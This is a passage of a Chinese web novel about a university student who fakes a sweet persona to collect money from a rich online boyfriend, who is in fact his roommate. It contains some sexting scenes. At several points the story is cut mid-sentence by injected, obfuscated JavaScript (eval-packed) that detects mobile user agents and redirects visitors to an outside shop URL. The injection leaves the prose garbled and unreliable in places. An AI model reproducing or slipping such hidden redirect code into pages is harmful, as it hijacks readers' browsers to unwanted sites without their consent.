刚开始和余晖网恋时候舒星以为余晖只是个有点小钱的高级白领,所以他还会克制自己少占点余晖的便宜。后来逐渐在和对方的聊天中了解到余晖是个家底十分厚实的富二代,舒星这才对余晖时不时的转账收得毫无心理压力。 本着在虚拟网恋中能捞一点是一点的想法,舒星总会给足余晖对恋人的无限幻想,他清楚余晖吃撒娇卖萌装可怜那套,所以舒星足足维持了近两年这种人设。 也不是说舒星故意玩弄余晖,两个人都在一起快两年了,说没感情肯定是假的。舒星喜欢余晖带给他的情绪价值,更喜欢余晖对他爆金币时的大方态度。 明天早上还有课,舒星和余晖甜甜蜜蜜地聊了会天才不舍地互道晚安。 舒星收起手机的时候看到对面床的习阳也适时地熄了屏幕,一晚上舒星都沉浸在收到十万转账的喜悦中,这下就连看到习阳那张脸都没那么讨厌了。 大概这就是金钱带给人的快乐吧! 第二天的课是八点半开始,寝室里四个人都是同个班的,一大清早程新文勾着舒星的肩,何文楠抱着习阳的胳膊,硬拉着这两个对家一起去上课。 这节课算是可有可无的水课,不过临近期末,很多学分不够的同学都来上课凑分,这导致原本没什么人上课的教室里挤了不少人。 水课的老师很喜欢随机抓几个前排的同学互动,舒星上水课的时候不会坐前面,何文楠和程新宇更是,几个人进教室后不谋而合地挑了最后排的座位。 最后排只剩三个空位,习阳挺有眼力见地去了前一排。 一节课要上两小时,舒星实在熬不住无聊的课程,走神之际正好收到了网恋对象发来的信息。 余晖:【宝宝,想你了。】 余晖:【你在干嘛呢?】 余晖:【今天宠物医院里忙吗?】 舒星没跟余晖说过自己只是在宠物医院做兼职。 现在舒星和余晖感情再好,对舒星来说余晖也只是个不相识的网友,他不太想把自己还是大学生的身份透露给余晖,之前无意说漏嘴时舒星就用“已经辍学”的谎话圆了回去。 这样一来,要是他俩以后因为感情不和一拍两散了,就算余晖闹起来舒星也不用担心对方会随时把自己挂校园论坛上。 舒星昨天刚收人家十万块,今天肯定是要在文字上和余晖热情贴贴的。 他低下头想了想,回了句“在想你哦宝宝。” 紧接着他又发了句“今天工作日,不忙的。” 余晖几乎是秒回:【不忙的话,要不要我陪你一起去买手表?】 余晖:【正好可以和宝宝见一面呢^^] 舒星看到最新发来的信息,吓得手机都掉到了地上,清脆的一声巨响引得所有人都朝他看来。 “你干啥啊,星妹。”程新宇低下头帮他打掩护,小声嘀咕:“我正看小说呢,吓死我了!” 舒星怕程新宇会看到聊天界面,他手摸到关机键确认熄屏后才敢捡起手机,看似淡定地回程新宇:“我看恐怖片呢。” “怪不得!被贴脸杀吓到了吧!”程新宇佩服地看他一眼:“上课看恐怖片,你心理素质真强。” 舒星无奈地点点头,心道一句自己看到的信息比恐怖片还吓人。 余晖连续两天提起见面的请求,昨天的信息被舒星蒙混过去了,今天的倒有点难以忽略了。 舒星发了个甜甜的小猫撒娇表情包,回道:【宝宝,手表我在上班前就买好啦!】 余晖:【啊,这么快吗。】 余晖:【我又错失了和宝宝见面的机会。狗狗哭泣.jpg】 舒星看到余晖发来的信息,看样子对方暂时是不会想着要见面了,正准备松口气,紧接着发来的信息令他瞬间尴尬得头皮发麻。 余晖:【宝宝,手表实物好看吗?好想看宝宝戴上的样子呀!】 舒星:……… 宝宝,你想看的手表还在柜台里躺着呢。 舒星尬地不知道回什么,索性假装自己临时要忙工作,直接不回余晖了。 关上手机,舒星顿时觉得这节水课也没那么无聊了。 熬过两小时,舒星顾不上程新宇说要出校吃饭的提议,赶紧打车去了手表专柜所在的购物中心。 柜哥看到进店的是个学生起初都没当回事,直到舒星站在那款水蓝色新品手表面前一副马上要掏钱的样子,柜哥才姗姗来迟。 “亲爱的,是看中咱们家这个新款了吗?” 柜哥还想客套地聊几句,舒星直接开口说:“对,这款,买单。” 柜哥愣了一下,拿出收款机谨慎地确认:“亲爱的,咱们这款暂时是没有现货的呢,需要的话可能要等一等,可以接受吗?” “没有现货?”舒星听完感觉眼前一黑,没现货叫他怎么拿回去拍给余晖看啊! 柜哥还在一口一个亲爱的,舒星根本听不进去,他盯着柜台里的手表看了好一会儿,最后长吁口气,撩起水灵的眼眸朝柜哥露了个漂亮的笑:“哥哥,我能试戴一下吗?” 舒星笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正面拍完感觉不够诱惑,舒星又趴在了沙发上,戴着表的那只手背撑着下巴,宽大的白色T恤露出了他胸前的一些肌肤。 舒星把手机往前挪了点,摄像取景只拍到了他的下巴和胸口露出的肌肤,至于休息室的背景,舒星调整画面布局后显得身后的背景像在他自己家一样。 几张照片拍完,就最后一张趴着的最得他心。 坐正收工,摘下手表,柜哥正好在门口敲响了门。 舒星本着没了利息但不能亏零食的态度,把柜哥端上来的果盘茶点全吃光了才心满意足地离开专柜。 购物中心楼上的餐饮区,程新宇听说这里有家新开的烤肉店不错,硬拉着大家来吃,结果饭点时间要排队,三个人拿着号码牌无聊地站在玻璃栏杆边唠嗑。 程新宇在和陈文楠聊要点什么菜品,习阳对吃烤肉的兴致不高,他靠在栏杆上,有点无聊地望着楼下来来往往的人。 当习阳看到舒星从一楼正对面的那家奢牌手表专柜出来,里面的柜哥对他热情相送时,习阳支起下巴,歪头有些疑惑地盯着舒星的背影。 直至舒星的身影消失在购物中心的大门口,习阳才回过神。 ——舒星这人,很有钱吗? 5. 第 5 章 第5章 关于舒星是不是很有钱的这个念头刚产生就被习阳抹掉了。 舒星出专柜的时候并没有提东西,应该不是去买手表的,可能是昨天广告屏上的那款手表他觉得好看,今天专门跑去专柜试戴了吧。 习阳对舒星是不太了解的,即使住在同一个寝室里,他俩也很少会有接触,有时候可能两三天也不会说上一句话。 只是习阳经常能从何文楠和程新宇嘴里听到关于舒星的事。 习阳很早以前听他们说起过舒星每到节假日就会去校外做兼职,至于做的是什么类型的兼职,习阳从没过问过,也懒得知道那么多。 不过今天看到舒星从那手表专柜里出来后,习阳倒是对舒星平时的这份兼职产生了好奇。 真不知道舒星要做多久兼职才能买得起那款表。 回想起昨天广告屏上的手表,习阳微微皱起眉,这款表最近这么火吗?昨天他的网恋对象也说喜欢这款,而且一大早就去店里买下了。 习阳对这个品牌的手表不太感兴趣,不过既然是网恋对象喜欢的款式,想必这款手表一定是有着什么独特的卖点在吧。 说起来,他的网恋对象已经很久没回信息了,是宠物医院又忙起来了吗? 烤肉店的拨号器终于叫到习阳他们这桌,程新宇早就等不及了,拉着何文楠就往里面拖,还不忘回头提醒习阳该进店了。 - 程新宇他们回来的时候舒星正忙着修今天拍的照片,刚修到手部细节呢,身后突然打开的寝室门带起一阵室外的热潮,他循声转头,走廊上的暖风逆着空调冷气迎面涌来,吹动着他额前的碎发。 舒星迅速退出修图app,脸上笑盈盈地迎接室友们回来。只不过这笑容仅限于对程新宇和何文楠,在看到压轴进来的习阳时舒星弯起的笑容很快压了下去。 程新宇以为舒星是因为宠物医院临时找他有事才拒绝了中午一起吃饭的提议,这会儿一进寝室发现舒星比自己回来得还早,有些纳闷地问:“星妹,你之前干嘛去了,怎么回来这么早?吃午饭了吗?” 舒星中午只是简单地买了点小吃解决午饭,他要是说自己只是为了块表而抛弃室友,估计会被程新宇的唾沫淹死。 “我去处理了点私事。”舒星有些心虚地别开眼,视线正好撞上了倚靠在柜门边玩手机的习阳。 习阳撩起眼看着他,那双深眸仅仅是微眯了一下,舒星顿时感觉自己像被他看透了一般,浑身不自在。 好在程新宇是个有分寸的人,他不会追问舒星有什么私事,很快就转换了聊天话题。 下午没有课,寝室里除舒星外都不是爱学习的主,复习看书的事从来不在他们的规划中。 吃饱了闲着没事,何文楠晃着手机说:“哎,之前很火的那个仙侠游戏最近出手游了,好像游戏数据和端游同步的,你们玩不?” 程新宇最爱玩各类游戏,他最先附和:“行啊行啊,你等我开个电脑!这游戏开服那会儿我还充了钱呢!后来身边没人玩我都被迫退游了!” 何文楠知道习阳一直在玩这款游戏,便问道:“哥,你玩不?” 习阳的手机屏幕还停留在和网恋男友的聊天界面,见人迟迟没回信息,他兴致不高地“嗯”了声,缓缓说:“可以。” 寝室四友三缺一,何文楠看向舒星,他学着程新宇的叫法说:“星妹,你呢,玩不玩游戏呀?” 舒星原本还想问他们是在聊哪个游戏,但他想到有习阳在,他心里是一万个不愿意和习阳玩游戏的,舒星感觉这人一看就是个队友坑了会“指导”两句的压力怪。 他摇了摇头,借口说自己要看书复习,委婉拒绝了何文楠的邀请。 寝室里有人在,舒星不方便在修图软件里大展拳脚,他又找了个要去图书馆学习的理由,捧着电脑和课本像模像样地溜出了寝室。 下午在图书馆的人不是很多,舒星挑了个偏僻的位置坐下,这个位置背后就是墙,舒星不用担心身后会有时不时路过的同学瞥到他的手机画面。 确定四下无人,舒星又安心地拿出手机继续刚才的修图过程。 “啧……” 舒星打开修图软件不爽地撇了撇嘴,他先前好不容易快修完的图没保存,这会儿app突然闪退,他又得重新开始了! 虽然说发给余晖的照片p不p都无所谓,但舒星感觉这组照片拍得挺好看的,他还准备修完图发在社交网络上大肆晒一下呢! 唉,真是倒霉,看来这下要重新修过了。 等舒星修完图,周围来复习的同学已经走了一大半,他这片区域也就最前排留了几对小情侣在窃窃私语,看上去像是在补习。 眼看着屏幕上的时间一点点过去,舒星终于放心大胆地点开了和余晖的聊天界面。 在舒星冷落余晖的这几个小时里,余晖也没有再发其他信息过来,好像对方意识到自己“在忙”后就没有刻意来打扰。 舒星十分热情地回复起余晖的信息:【不好意思啊宝宝,先前突然忙起来,都没来得及给你发信息。】 回完信息,舒星马上又连发三张刚精细修完的照片传过去。 他怕余晖看出照片背景的问题,还特意解释:【今天下班早,我刚到家,随手拍了几张,宝宝不要嫌弃哦!】 舒星以为余晖看到照片后会被自己勾人的动作迷死,然而恰恰相反,余晖过了很久都没回舒星信息。 没及时得到情绪价值的舒星觉得有点没劲,他切到社交平台,拟好了文案准备狠狠发条炫富动态。 舒星在社交平台的动态一般都是发给高中时期的同学看的,托余晖的福,舒星这两年的动态全是奢侈品和游戏极品套装展示。 其实早几年舒星是很不屑于做这种事的,但是刚上高中那会儿正好遇到他爸生意失败破了产,家里的生活水平一落千丈,瞬间的消费降级导致舒星在私立高中里经常遭受同学们的嘲讽和鄙视。 学生之间的攀比心从来都不会消失,别人有的东西舒星也很想要,可惜家里欠了债,他和奢侈品有缘无分。 好在这两年余晖经常会给舒星转钱,舒星每次都会把钱存起来,然后在适当的时候买些奢侈品拍照发点炫富动态。 等拍完了拥有过了让曾经那些嘲讽过他的人隔着屏幕羡慕完后,他再去二手平台顺手转卖,继续美美地把钱攒回余额宝里吃利息。 舒星选好那三张精修照,排好版,配了句看似平常低调的文案:听说是新品断货款,果断拿下啦!水蓝色果然很适合我呢,嘻嘻~ 舒星的社交平台不光互关了高中同学,凭着隔三岔五的炫富动态还斩获了不少自来水粉丝,在平台上也算是个小网红了,动态发出没几分钟就收获了很多点赞评论。 评论里有人在夸舒星的动作妖艳,但更多的是在羡慕舒星有钱,甚至有人在评论区靠ip猜测他是不是本市哪个有钱的大少爷。 在看到点赞列表里有几个高中同学的头像后,舒星心情舒畅地退出了社交软件,虚荣心得到满足,他神清气爽地开始收拾自己的东西准备回寝室,根本没在意余晖为什么还没回自己的信息。 除了休息天外,舒星一般都会和寝室里的人一起去学校食堂吃饭,他回寝室的时候程新宇他们还在玩游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255720|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚推门进来就听到程新宇在吐槽何文楠操作下饭。 何文楠耳根子红红的,跟程新宇争论道:“什么叫我奶得有问题,你自己死那么快怪得了谁?” 程新宇好不容易在游戏里龙王归来,看何文楠作为新手又菜又不听指挥,也开始上火:“不是哥们,你自己看看,你奶的技能给了谁,习哥满血你连他做什么?” 何文楠意识到自己连错了人,闷声又把技能换到了程新宇的角色身上,说:“这样总行了吧。” 程新宇本来就是残血,何文楠的角色加血技能刚给上来的一瞬间他就被BOSS一掌拍死了。 “得,死了。” “你看你看,给你奶还死了。”何文楠耸耸肩,一副怪不了我的样子。 程新宇瞥眼坐在后面的何文楠,咬咬牙,气不打一处来地吐槽:“要不是习哥租了个号带我们,就咱俩打这副本一万年都过不了。” 舒星放好手里的东西,凑近身看了眼何文楠的手机屏幕,发现他们几个人玩的正好是他和余晖网恋认识的那款游戏。 他轻叹一声:“原来你们在玩这个?” 何文楠本来就是新手,当下被程新宇一顿吐槽后玩得很烦,闻言跟见到救星似的问:“星妹,你玩过这个游戏?” 舒星点点头:“嗯。” “那太好了!”何文楠赶紧把手机塞舒星怀里,说:“我选的奶妈,你帮我打打!奶妈你会的哦?” 舒星在这个游戏里最擅长的是毒师的角色,只不过跟余晖打副本的时候他为了装柔弱经常会选个奶妈当辅助。刚认识余晖那会儿舒星怕余晖嫌弃自己菜,还特意钻研过奶妈下副本的打法,所以对奶妈这个角色也算得心应手了。 舒星拿起手机看了下副本进度,已经过半了,再打两个BOSS就能彻底结束。 他怕自己万一有失误会被习阳和程新宇两个老手喷,提前找了个借口:“我很久没玩了,可能操作不是太好。” 何文楠现在把他当成了唯一的光,跟信徒似的说:“星妹,你肯定强!” 舒星轻轻“嗯”了声,他专注于屏幕界面,习阳的走位和技能都很好,不用舒星太过操心,他的技能基本上都用在了复活后的程新宇身上。 程新宇好几次残血都被舒星妙手回春,一局游戏下来收获了程新宇不少句“爸爸,好奶”。 打完一整局副本后进入结算界面,舒星注意了下习阳那个角色的id——悲伤的猪大肠。 呃……好土的名字。 再看眼角色资料,没有情缘也没有师徒关系,收藏值堪堪十万。 不过习阳的操作不像是新手,他怎么不用自己的号,而要上网组号玩呢? 何文楠应该是看到了舒星在翻习阳那个角色的资料,他帮忙解释道:“习哥说他那个号等级太高了不能和我们这些低等级的匹配,所以才租了个号带我们。” “这样啊……” 不对呀,这游戏不是很多副本都没有等级限制吗? 这家伙该不会是自己的号和网上的人绑了情缘不好意思让程新宇他们知道,所以才找了这种蹩脚的理由吧? 联想起昨晚看到习阳手机上的满屏绿光和那张不太好看的脸色,指不定是在和谁刷屏发信息却没得到回复。 舒星可从没听说过习阳身边有什么暧昧期的女生存在。 总结看来只有一个可能了。 舒星抬眸看向习阳,对方也在这时正好转过身。 两人四目相撞,舒星眸子动了动,破天荒好脸色地朝对方浅笑了一下。 好哇,习阳这样的人,原来也会搞网恋! 6. 第 6 章 第6章 舒星只能靠种种猜测推断习阳可能是在网恋,不过人家正主没发话,他也不可能横插一脚去拆穿习阳不用自己号带程新宇他们的原因。 而且,他也不屑于理会关于习阳的事。 想得多了,搞得自己很关注对方一样。 舒星的浅笑没有得到习阳什么好脸色,反倒是对方看他的眼神更冷冽犀利了。 舒星被习阳的目光盯得有些不舒服,他也不甘示弱地看回去:“你有事吗?” 习阳微微扬起下巴,语气有些淡地问:“奶妈的操作是不是有模板公式?” 舒星感觉习阳好像对自己刚才的操作有意见,他最讨厌别人对自己的技术指指点点,奶妈这英雄的打法都是他好不容易钻研出来的,怎么到他这就变成有模板公式了! 这问题简直就是对他这个资深玩家的羞辱!! 舒星坐在椅子上略感不爽地往后仰,他的手肘靠在桌面,学着习阳的样子微抬下巴,视线睨着,有些骄气的派头:“怎么?你想学?” 习阳:“………” 习阳对舒星的无语肉眼可见。 习阳只是觉得,舒星的操作太熟悉了,有些走位和技能卡点都跟他的网恋对象如出一辙。他以前经常刷到游戏论坛里在聊某个英雄操作的走位技巧和技能释放顺序,习阳称这种为模板公式,学会之后下副本时可以直接套用着玩。不过他看舒星的一系列操作,不知道是不是和网恋对象学得同一个高级模板公式。 他定定地看着舒星:“不想学。只是想说你跟我……朋友的操作有点像。” 舒星才不想听到自己像谁之类的话,他轻哼一声:“见到个操作厉害的就说跟你朋友像?像不像都被你说了,谁知道有没有我厉害。” 习阳微顿了下,他想为自己的网恋男友辩驳一番,刚准备开口怼回去,何文楠察觉出寝室气氛忽然变得微妙,他赶紧钻到舒星和习阳中间,隔断了两人的视线。 “要不咱去吃饭吧?我看时间也不早了,今天吃食堂还是校外?” 程新宇关了电脑,脱离游戏后他还是何文楠的好哥们,紧跟着附和一句:“吃食堂吧,中午刚吃过烤肉,我现在有点腻大餐。” 何文楠搂起舒星的肩膀就说:“星妹,走走走,今晚我请你!” - 舒星他们去食堂的时候已经不算饭点了,一楼餐厅空置了好多座位,四个人买完餐随便挑了个就近的位置入座。 何文楠和程新宇吃饭的时候在聊学校论坛里的新八卦,舒星偶尔听到有意思的地方会插嘴问两句,习阳不喜欢听八卦,他是餐桌上唯一沉默玩手机的人。 习阳下午带何文楠他们打游戏,手机静音后就没怎么在意过信息,这下打开屏幕,发现来自网恋对象的未读消息有好几条。 他赶紧迫不及待地点开微信聊天界面,最先映入他眼的是网恋对象趴在沙发上的照片,光滑的手臂支着下巴,宽松的圆领T恤微微低垂,露出了对方若隐若现的白皙肌肤。 再往上翻,是网恋对象的手垂在腰上,衣服的下摆大概是被他不小心勾到了,性感的腰腹被他在拍照的瞬间捕捉。 习阳看到照片的第一念头就是网恋对象的腰很软很纤细,似乎一只手就能搂住。 这个念头冒出来的时候习阳登时觉得小腹似乎有股无名的火正不受控制地烧向大脑,热感瞬间烫红了他的耳根。 习阳垂下眼,端起手边的汤碗试图以此来平复内心的波涛骇浪,与此同时,身边的何文楠因为说八卦太过尽兴,不小心撞到了习阳端着碗的胳膊。 “咳……”习阳被汤汁猛地呛了下,在捂着嘴咳嗽的同时他还不忘火速反扣屏幕。 何文楠惊慌地道着歉,他赶紧拍拍习阳的后背,帮忙捋顺习阳的呼吸频率。 因为有被汤汁呛到的小插曲,没有人发觉习阳突然耳根通红的原因,都只当是他咳嗽咳太厉害导致的。 然而习阳身体里股窜出来的无名火并没有因此被浇灭,好似烈火燎原般持续在体内涌动,纵使回寝后他强迫自己洗了个澡也依旧不能把这躁动压下去。 热欲烧得他抓心挠肝。 习阳今天反常地早早上了床,下面的何文楠和程新宇有说有笑,估计是聊到什么兴奋的事,程新宇笑得直拍大腿。 习阳听着有些烦闷,他拧了下眉,又点开了和网恋男友的聊天记录。 先前的照片他没敢看完,这下再次点开,微微裸露的肌肤依旧猛烈地冲击着习阳的视觉。 网恋对象照片上的动作明明毫无暗示,在习阳眼里却是那么勾人诱惑。 自己大概是性压抑太久了…… 他深吸了口气,调整着呼吸,尽量让自己用平复好的语气来回复网恋对象。 然而当指腹触碰在虚拟键盘上的那一刻,习阳实在忍不住了,“H/X/N”三个英文字母被他按了一遍又一遍,聊天框里的信息像篇小作文似的发了出去。 舒星洗完澡还没擦干身子就收到了余晖发来的消息,一连串的提示音好似轰炸般不断响起。 他披着浴巾,擦干手,浑身湿漉漉地点开消息界面。 余晖:【想你想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你好想你!】 余晖:【好想你啊宝宝,想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你!】 余晖:【宝宝,照片上的你好性感哦!想你想你想你想你想你想你!】 余晖:【宝宝,理理我嘛,我好难受啊,想你了,好想你!】 舒星看到近乎刷屏般的“想你”,被氤氲热气蒸红润的漂亮脸蛋上慢慢展露出一丝得逞的笑容,他嘴角轻轻勾了下,脸颊处的酒窝若隐若现。 舒星故意凹造型给余晖发这些照片,不是单纯展示手表这么简单。 余晖是个很有性需求的网恋对象,每次舒星发些轻微露骨照片或者带有情.趣的话时,余晖总能被他撩拨得无法自拔。 不过舒星在余晖这儿的人设是柔弱的小白花,所以他不会经常给余晖发这些暗示性的东西,不然就有点崩人设了。 只有在余晖给舒星转账的时候,舒星才会用这种特殊的方式“奖励”余晖。 作为网恋感情,余晖是不可能撅得到舒星的,所以舒星也比较有恃无恐。 真等余晖忍不住的时候,他们就会用文爱的方式来解决生理需求。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255721|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 换作放寒暑假期间,四下无人的时候舒星甚至还会和余晖连麦磕炮。 这种动动手指、在语音里随便喘两声就能捞金的方式,舒星是非常享受的。 舒星看余晖发来的大段信息就知道,对方这是又有生理需求了。 只不过现在在寝室里,舒星有点不太方便搞这种,他擦干身子穿好衣服出卫生间,有些谨慎地观察了一下室友们,何文楠和程新宇倒在一起看论坛八卦新帖,习阳没在寝室似乎是出去了。 挺好,没什么人关注到他。 寝室里不方便做的事情,走廊上的公共卫生间很方便做。 舒星握着手机,在何文楠和程新宇乐呵呵笑八卦的时候出门。 公共卫生间应该是刚被阿姨打扫过,不知道刚刚有谁在这里抽过烟,淡淡的果香清新剂里夹着浓郁的烟味弥漫在整个空气中。 这个楼层本来也没住多少人,除了舒星他们寝室的人偶尔会来这上厕所外几乎很少会有人进来。 这里安静,干净,还私密。 舒星挑了最近的一个隔间,锁好门,他把手机调成静音,向余晖回了信息。 舒星:【我也想你,宝宝。】 舒星故意引导着余晖。 舒星:【宝宝,你想那个吗?】 余晖回得也很绅士风度。 余晖:【可以吗?方便吗?】 舒星发了个猫猫点头的表情包。 舒星:【可以哦。】 舒星和余晖的文爱其实很简单,不会有什么刺激.情.色的照片互发,顶多就是用文字描述了一场酣畅淋漓的性.爱。 舒星虽然不觉得一场文爱能激起多少性.欲,但结束之后他还是能感受到自己的内裤后面有些潮湿,小腹处半起不起的样子令他有些头疼…… 舒星开始后悔自己出来的时候没有带纸了,解决完自己后他推了隔间的门,在洗手池边清洗微黏的手掌。 他看着镜子里的自己,泄欲过后的脸上泛着暧昧的绯红,眼睫下眼波满含春色,下唇因为一直被咬着此刻显得格外红润。 以这种样子回去,一定会被人看出猫腻来的。 舒星轻轻地舒了口气,他浑身泄力般靠在墙壁上,瓷砖的凉意隔着薄薄的衣服冷却着舒星身上的火热。 不知道隔了多久,安静氛围下,最里面的隔间忽然传出莫名的响动。 舒星:!!! 这卫生间里一直有人在??? 舒星放松下来的身子瞬间紧绷,浑身肌肉都在顷刻间僵硬了,脑海里飞速回想着自己刚才有没有发出过什么不堪的声音。 他几乎是僵直了脖子探头去看到底是谁在这里。 随着水流冲荡的声音,最里层的隔间门被缓缓打开,一个高挑的身影从里面走了出来。 习阳垂着眼,那张俊气的脸上微微泛着红,但表情依旧高冷淡漠。 他似乎也注意到了卫生间的水池边还有个人在,在撩起眼看到舒星的刹那,他平静的眼眸瞬间有了诧异惊讶的震动。 舒星此时比习阳更惊诧,他生怕自己刚才在隔间里的行为被习阳全程听到,他尴尬地露了个笑,近乎无奈般举起手挥了下,努力控制自己的声线淡定轻松地朝对方“嗨”了一声。 并说:“好巧。” 7. 第 7 章 第7章 习阳似乎没料到舒星会向他打招呼,他看着舒星愣了好久才回过神点了点头,嗓音微黏地“嗯”了一声。 舒星闻到习阳走近时身上有股浓郁的烟草味,恍然想到刚才进来的那烟味原来是习阳抽的。 这人居然会抽烟吗? 舒星一直以为他们是无烟寝室,原来只是习阳从不在寝室抽烟而已。 这么一想,这人素质还挺高的,知道不能让室友吸二手烟,所以跑这儿来了。 舒星他的目光谨慎地跟随着习阳的动作,因为过于心虚紧张,他的喉结忍不住滚动了一下,在习阳经过自己到洗手池边时,他终于忍不住开口小心翼翼地试探了句:“你刚才……有没有听到什么奇怪的声音?” 谁料习阳忽然警觉地看了他一眼,语气十分强势地问道:“你都听到什么了?” 舒星被习阳这一瞥看得更心虚了,甚至能感觉自己紧张的心都要跳出来了,他僵硬的后背紧靠着墙壁,梗直脖子说:“没,没有啊,我随口问一下。” “哦,我没听到。” 舒星察觉到习阳的神情松了些,他的心也跟着缓缓落下,没听到就行,不然舒星真不知道要拿什么谎来圆自己尴尬的喘息声。 太过紧张的情绪很快就缓解了舒星泄欲过后的潮热,他那张精致的脸上褪去了暧昧的绯红,又恢复了白皙透粉的正常肌肤。 舒星是和习阳前后脚回的寝室,寝室里何文楠和程新宇已经洗完澡躺在床上了,他俩又玩上了下午的那款游戏,这会儿跟亲哥们儿似的,程新宇心情大好地带着何文楠下副本刷装备,颇有要带何文楠在游戏飞升成神的意思。 察觉到同时回来的两个人,程新宇一边操作手里的游戏角色,一边偏着头,问道:“这么晚了,你俩干嘛去了啊?” 舒星沉默着和习阳互相对视了一眼,倒是习阳比他先开口说:“上厕所。” 舒星连忙附和:“我也是。” 程新宇随口“哦”了声,又嘀咕起寝室卫生间的规划:“我就说这个厕所布局有问题,一个人进去洗澡别人都上不了厕所,学校也不知道改改!” 何文楠跟了句:“改不了吧,凑合过过吧,反正马上期末了,下学期估计要换寝室。” 说到换寝室,舒星抬头看了眼自己的床位。 刚搬进这个寝室的时候舒星都没想过能有这么硬的床板,躺在上面跟睡棺材里的似的,怎么躺怎么不舒服,后来还是添置了个软床垫才得以睡下去。 不过马上临近期末,学校会闭院,下学期要换寝室的话这些东西都得搬回家,一想到期末放假那会儿得大包小包地拎东西回去,舒星就头疼得不行。 他们家已经没有司机会接送他了,他爸爸忙着东山再起搞应酬,他妈妈没有驾照不会开车,而且从他家破产起家里人就没工夫再把精力投入到舒星身上,很有可能父母现在连他学校位置都找不到。 所以一到放长假舒星不是得打车回去就是要挤地铁回家,要是再带上行李就更麻烦了。 他看着那层厚厚的床垫皱起眉,有些忧心未来:“那我的床垫可怎么办,搬回家感觉有点不现实。” 何文楠应了句:“不要了呗,留着给以后的学弟们?” “啊……”舒星有些郁闷,这床垫他花了三千八找人定做的尺寸呢,就这么扔在这儿怪可惜的。 不光心疼这床垫,舒星更心疼自己的钱包,新寝室再重新定制的话又是一笔不小的金额。 舒星想了想:“你们说我放在这儿下学期再回来拿,这办法可行吗?” 程新宇打完BOSS了,放下手机,坐直身,瞅了眼舒星的床位,说:“不好说,夏天雨多,寝室里没人住不知道会不会潮湿发霉!除非像去年那样花钱请宿管阿姨来帮你晒晒!” 舒星更郁闷了,漂亮的脸上眉头紧锁,咬着嘴唇满脸不开心的样子。 一旁的习阳看舒星脸上苦闷的表情,他有点儿不解,不就是一个床垫吗,再买一张好像也不麻烦吧,至于一副苦瓜脸吗? 难道是因为买床垫需要时间,前期床垫没到货他会睡不着?忍几天的话应该不要紧吧? 本着刚才在公共卫生间里有同厕情谊,习阳难得心平气和地和舒星搭话:“不睡不行吗?” 舒星闷闷地回:“不睡不舒服。” 习阳理解般点点头,随口评价道:“挺娇气。” 舒星一听到“娇气”两个字就不乐意了,他跟习阳好像也没熟到能互相点评的程度吧,这句话是什么意思?是在说自己矫情吗? 舒星本来就看习阳不爽,这下好了,对他的意见更大了:“你什么意思?” 习阳哪知道自己无心的话瞬间把舒星点炸毛了,他挑了挑眉,从容解释:“就字面意思,小时候看过童话故事吗,你跟里面那豌豆公主挺像。” 习阳的本意大概想说舒星和豌豆公主都很像,床睡得不舒服很明显就能感觉到,这种一般都是把肌肤养太娇气了导致的。 而舒星则是只抓末尾重点,秀气的眉毛一撇,冷瞪着人说:“你说我是公主?” 习阳:…… 习阳语塞了会儿,他看到舒星目光狠狠剜了自己一眼就知道对方这是误会了,刚准备解释自己没这个意思,又想到下学期两个人都不一定能分在同一个寝室,他俩关系本来也不怎么好,自己这会儿干嘛非得低声下气去哄人家,而且解释了舒星也不见得会听。 就这么想着,习阳耸耸肩,懒得多做解释。 舒星撇了撇嘴,见习阳一副理直气壮的样子,他气鼓鼓地瞪人家一眼,自顾自上床了。 被习阳说是“豌豆公主”的事儿舒星埋在心里越想越生气,事情发生有几天了,见习阳依旧没有要跟自己道歉的意思,舒星气不打一处来,趁着上水课的时间和身边的程新宇吐槽了一番。 程新宇当时光顾着打游戏没在意舒星和习阳到底聊了什么,只知道最近这两个人又陷入了白热化的冷战中,这下听完舒星描述的前因后果,他有些为难地挠了挠头,本着一碗水端平的态度说:“习哥应该没那意思吧?” 舒星可不买账:“谁知道呢!指不定就是故意说出来膈应我!” 程新宇看舒星一副还在生气的模样,只好点点头先安抚道:“别想那么多了,以后咱们换寝室都不一定能随到一起,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 